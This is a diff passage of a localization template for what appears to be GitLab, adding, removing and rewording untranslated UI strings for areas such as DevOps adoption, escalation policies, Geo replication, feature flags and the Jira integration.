-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
